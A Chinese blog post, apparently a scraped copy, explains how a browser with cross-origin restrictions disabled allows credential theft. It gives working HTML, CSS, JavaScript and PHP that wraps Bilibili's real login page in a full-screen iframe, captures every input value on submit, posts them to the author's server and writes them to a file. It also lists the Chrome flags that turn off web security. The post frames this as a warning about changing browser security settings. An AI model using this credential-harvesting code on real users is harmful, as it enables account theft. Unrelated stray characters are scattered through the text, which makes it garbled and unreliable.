這次我們來看看解除瀏覽器跨域限制是有多么容易被盜取信息吕粗。
最開始遇到跨域的時(shí)候，那時(shí)候還是一個(gè)懵懂的椎風(fēng)少年旭愧。颅筋。那時(shí)候和一個(gè)朋友一起開發(fā)一個(gè)網(wǎng)站，由于他那時(shí)候在深圳输枯，我在上海议泵。利用的是他的云服務(wù)器進(jìn)行開發(fā)，結(jié)果我前端上怎么都不能獲取到他給我的網(wǎng)站返回的信息桃熄。查了一堆資料才發(fā)現(xiàn)是跨域問題先口。又找不到解決辦法，最后還是用
nginx來解決的跨域瞳收。碉京。想想還真是凄慘。
_如果還有不了解什么是同源螟深，什么是跨域的谐宙，剛好前幾天我在簡書里看到了一個(gè)人發(fā)表的文章說的是這個(gè)，這里直接甩個(gè)鏈接界弧。想了解的可以去看看凡蜻。希望那位博主不要打我。
<a target = "blank" href="http://www.reibang.com/p/beb059c43a8b" >前端必備HTTP技能之同源策略詳解</a> ←點(diǎn)擊跳轉(zhuǎn)夹纫。
這里我們來假設(shè)一個(gè)環(huán)境
- 首先我們的瀏覽器是跨域的咽瓷。
- 然后我們打開了平時(shí)我們經(jīng)常登錄的網(wǎng)站。
- 由于是我們經(jīng)常打開的網(wǎng)站舰讹，所以也不會太去關(guān)注URL,當(dāng)然也有人根本就不看URL的茅姜；
- 然后網(wǎng)頁和我們平時(shí)打開的網(wǎng)站沒啥區(qū)別，沒毛病月匣。
- 最后我們登錄自己的賬號密碼钻洒，好了。被盜了锄开。素标。
當(dāng)然只要平時(shí)電腦玩的多的人，一般都不會上這樣的當(dāng)萍悴。所以我們這里的目的只是為了舉一個(gè)簡單的例子來讓大家了解一下头遭。還是那句話寓免，遨游在網(wǎng)絡(luò)的世界，防范的再安全都不為過计维。
這里來分析一下具體實(shí)現(xiàn)
- 首先我在HTML里面寫一個(gè)iframe標(biāo)簽袜香，里面嵌套某個(gè)網(wǎng)站。這里為了簡潔鲫惶，我們直接用的登錄頁面蜈首。
- 其實(shí)我本來是想用簡書的登錄頁面來實(shí)驗(yàn)的。結(jié)果簡書這網(wǎng)站不讓別人用iframe嵌套欠母。絕欢策，真絕了。赏淌。
- 然后我就打開了我敬愛的大B站踩寇。因此這里是用的B站的登錄頁面做示例。
- 修改iframe的樣式猜敢，讓其鋪滿整個(gè)屏幕姑荷，看起來就和原來的網(wǎng)站沒有什么區(qū)別了。
- 獲取iframe內(nèi)部的document對象缩擂。
- 有了document對象鼠冕，我們就能操控登錄按鈕了，在你點(diǎn)擊登錄的時(shí)候胯盯，拿到所有的input標(biāo)簽中的值懈费。
- 通過AJAX發(fā)送到自己的后臺代碼，然后寫入到一個(gè)文件里博脑。
代碼部分：
- HTML
利用iframe導(dǎo)入一個(gè)網(wǎng)址即可
<iframe src="https://passport.bilibili.com/login" frameborder="0" id="iframe"></iframe>
- CSS
CSS在這里的目的只是讓iframe全屏顯示而已憎乙。
```
html,body{
margin: 0;
padding: 0;
height: 100%;
overflow: hidden;
}
iframe{
width: 100%;
height: 100%;
}
3. JS部分
> 主要就是負(fù)責(zé)獲取到iframe中的document對象，然后進(jìn)行dom操作而已
window.onload = function(){
// 獲取iframe的元素
var iframeObj = document.querySelector('#iframe');
var iframeDocument = iframeObj.contentWindow.document;
// 獲取登錄按鈕的
var login = iframeDocument.querySelector('input[type=submit]');
login.onclick = function(){
// 創(chuàng)建一個(gè)空對象
var info = {};
// 遍歷所有的input標(biāo)簽
var input = iframeDocument.querySelectorAll('input');
for (var i = 0; i < input.length; i++) {
// 將數(shù)據(jù)放入一個(gè)對象中
info[input[i].name] = input[i].value;
}
console.log(info);
// 現(xiàn)在就有了input里面的所有數(shù)據(jù)了
// 這時(shí)候發(fā)送一個(gè)ajax請求給自己的服務(wù)器
// 創(chuàng)建一個(gè)異步對象
var xhr = new XMLHttpRequest();
// 設(shè)置method和url
xhr.open('post','login.php');
// 設(shè)置content-type
xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
// 監(jiān)聽狀態(tài)
xhr.onreadystatechange = function(){
//請求完成且找到網(wǎng)站
if(xhr.readyState == 4 && xhr.status == 200){
console.log(xhr.responseText);
}
}
// 發(fā)送請求
xhr.send('info='+JSON.stringify(info));
// return false;
}
//console.log(iframeDocument);
}
4. PHP部分
> 主要是用來將獲取到的文件寫入文本中
<?php
$info = $_POST['info'];
print_r($info);
// 寫入文件
file_put_contents('info.txt', $info.PHP_EOL,FILE_APPEND);
echo "ok";
?>
這里給個(gè)鏈接叉趣，有興趣的可以點(diǎn)進(jìn)去玩玩泞边。
<a target = "_black" >利用iframe嵌入的BILIBILI的登錄頁面</a>
<a target = "_black" >查看剛剛自己輸入的值</a>
或者直接修改url最后的`login.html`為`login.txt`
當(dāng)然，你的瀏覽器必須先接觸跨域才能這么玩疗杉。阵谚。
至于解除的辦法，chrome瀏覽器的話烟具，看下圖梢什。其他瀏覽器的話，請自行百度吧朝聋。我并沒有研究嗡午。。冀痕。
在你的chrome上右鍵=》屬性荔睹，然后在目標(biāo)的最后狸演，敲上一個(gè)空格，再把--args --disable-web-security --user-data-dir 這一坨復(fù)制上去应媚。
###### *注意：進(jìn)入瀏覽器的時(shí)候會給你一個(gè)提示严沥，告訴你有安全問題，玩完之后記得刪掉后面這串中姜。*
例子雖然比較簡單，但是應(yīng)該還是表達(dá)出了我想說的跟伏。丢胚。
#### 結(jié)語：
1. 在自己不熟悉瀏覽器的某些安全機(jī)制的時(shí)候，不要去隨意的改動受扳。
2. 實(shí)際開發(fā)中携龟，我們不得不面臨著需要跨域的時(shí)候。解決跨域的方法也有很有勘高，之前提到的那個(gè)博主的那篇博文里面都有寫峡蟋。感興趣的可以去看看，而且跨域問題面試的時(shí)候也經(jīng)常被問到华望。
3. iframe嵌套進(jìn)來的網(wǎng)站可以正常運(yùn)行蕊蝗，登錄什么的都沒毛病。赖舟。要是點(diǎn)網(wǎng)站進(jìn)去玩的時(shí)候蓬戚，千萬記得不要真登錄了。宾抓。隨便敲點(diǎn)數(shù)據(jù)玩玩就行了子漩。